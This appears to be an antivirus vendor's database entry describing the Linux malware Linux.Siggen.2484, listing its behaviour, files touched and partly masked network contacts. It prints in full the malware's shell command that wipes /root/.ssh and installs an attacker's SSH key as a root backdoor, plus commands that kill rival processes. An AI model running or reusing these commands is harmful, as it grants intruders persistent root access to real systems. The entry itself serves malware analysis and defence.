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Linux.Siggen.2484

Added to the Dr.Web virus database: 2020-03-23

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Launches processes:
  • sh -c cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
  • rm -rf .ssh
  • mkdir .ssh
  • chmod -R go= /root/.ssh
  • sh -c pkill -9 Macron; pkill -9 Donald
  • pkill -9 Macron
  • pkill -9 Donald
Performs operations with the file system:
Modifies file access rights:
  • /root/.ssh
  • /root/.ssh/authorized_keys
Creates folders:
  • /root/.ssh
Creates or modifies files:
  • /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Deletes files:
  • /root/.ssh
Network activity:
Establishes connection:
  • 45.#.148.125:80
DNS ASK:
  • de#####package.center
Sends data to the following servers:
  • 45.#.148.125:80
Receives data from the following servers:
  • 45.#.148.125:80
Other:
Collects CPU information
Collects RAM information

Curing recommendations


Linux

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